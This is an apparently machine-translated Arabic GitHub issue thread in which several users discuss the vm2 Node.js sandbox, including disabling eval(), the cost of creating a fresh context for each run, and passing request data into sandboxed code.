@ Eric24 ثم جيدا جدا. أيضًا ، في الإصدار الجديد من NodeJS 10.9 * لديهم خيار لتعطيل EVAL () في vm. فهل هذا يكفي أم ما زلت بحاجة إلى تعطيله من C.

حقا آسف للقفز في موضوع قديم.

ومع ذلك ، في حالة استخدام الهدف الحقيقي ، سأحتاج إلى إعادة إنشاء السياق في كل مرة (من المحتمل أن أكون قادرًا على تخزين النص المترجم مؤقتًا) ، لأن كل تشغيل فريد ويجب أن يبدأ بسياق جديد).

@ Eric24 أبحث في كيفية تشغيل بعض التعليمات البرمجية العشوائية باستخدام vm2 داخل تطبيق خادم. أعتقد أن حالة الاستخدام الخاصة بي مشابهة للحالة التي ذكرتها لأنني أبحث في كيفية تمرير المعلمات / الوسائط من طلب وارد إلى الكود الذي يعمل داخل الجهاز الافتراضي.

الطريقة الوحيدة الآن التي يمكنني رؤيتها للقيام بذلك هي إنشاء سياق جديد في كل مرة ولكن هذا بطيء حقًا. أحاول معرفة ما إذا كان بإمكاني إعادة استخدام كائن سياق واحد ولكن استخدم آلية أخرى لتوفير البيانات إلى الكود الذي يعمل داخل الجهاز الظاهري. ذكرت parasyte شيئًا عن الاتصال ثنائي الاتجاه باستخدام كائنات Event() لكن ذلك لم يكن واضحًا تمامًا بالنسبة لي.

كنت أتساءل ما إذا كنت قد واجهت مشكلة مماثلة وإذا كنت قد فعلت ذلك ، هل تمانع في مشاركة بعض النصائح حول كيفية حلها؟ شكرا على وقتك.

darahayes : في الواقع ، أقوم بإنشاء سياق جديد لكل شوط ، لكنني لا أجد هذا بطيئًا على الإطلاق. ما نوع الأداء الذي تشاهده مقابل ما تتوقعه؟ وكيف تقيس الأداء؟

أقوم بتدوير عملية nodejs جديدة لكل شوط ، وهي ليست بهذا السوء ، أقل من 100 مللي ثانية من التأخير.

هل كانت هذه الصفحة مفيدة؟
0 / 5 - 0 التقييمات

القضايا ذات الصلة

XmiliaH picture XmiliaH  ·  19تعليقات

seanc picture seanc  ·  3تعليقات

wintertime-inc picture wintertime-inc  ·  5تعليقات

somebody1234 picture somebody1234  ·  4تعليقات

unxcepted picture unxcepted  ·  11تعليقات